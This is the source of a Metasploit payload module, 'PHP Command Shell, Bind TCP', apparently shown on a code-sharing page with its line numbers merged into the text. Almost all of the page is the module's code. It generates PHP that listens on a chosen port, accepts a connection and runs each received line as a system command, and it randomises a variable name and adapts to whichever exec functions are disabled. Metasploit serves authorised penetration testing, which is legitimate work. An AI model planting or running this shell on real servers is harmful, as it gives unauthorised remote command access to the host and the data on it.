Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/php/bind_php.rb
Views: 11766
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456module MetasploitModule78CachedSize = :dynamic910include Msf::Payload::Single11include Msf::Payload::Php12include Msf::Sessions::CommandShellOptions1314def initialize(info = {})15super(merge_info(info,16'Name' => 'PHP Command Shell, Bind TCP (via PHP)',17'Description' => 'Listen for a connection and spawn a command shell via php',18'Author' => ['egypt', 'diaul <diaul[at]devilopers.org>',],19'License' => BSD_LICENSE,20'Platform' => 'php',21'Arch' => ARCH_PHP,22'Handler' => Msf::Handler::BindTcp,23'Session' => Msf::Sessions::CommandShell,24'PayloadType' => 'cmd',25'Payload' =>26{27'Offsets' => { },28'Payload' => ''29}30))31end3233#34# PHP Bind Shell35#36def php_bind_shell3738dis = '$' + Rex::Text.rand_text_alpha(rand(4) + 4);39shell = <<-END_OF_PHP_CODE40#{php_preamble(disabled_varname: dis)}41$port=#{datastore['LPORT']};4243$scl='socket_create_listen';44if(is_callable($scl)&&!in_array($scl,#{dis})){45$sock=@$scl($port);46}else{47$sock=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);48$ret=@socket_bind($sock,0,$port);49$ret=@socket_listen($sock,5);50}51$msgsock=@socket_accept($sock);52@socket_close($sock);5354while(FALSE!==@socket_select($r=array($msgsock), $w=NULL, $e=NULL, NULL))55{56$o = '';57$c=@socket_read($msgsock,2048,PHP_NORMAL_READ);58if(FALSE===$c){break;}59if(substr($c,0,3) == 'cd '){60chdir(substr($c,3,-1));61} else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {62break;63}else{64#{php_system_block({:cmd_varname=>"$c", :output_varname=>"$o", :disabled_varname => dis})}65}66@socket_write($msgsock,$o,strlen($o));67}68@socket_close($msgsock);69END_OF_PHP_CODE7071return shell72end7374#75# Constructs the payload76#77def generate(_opts = {})78return super + php_bind_shell79end80end818283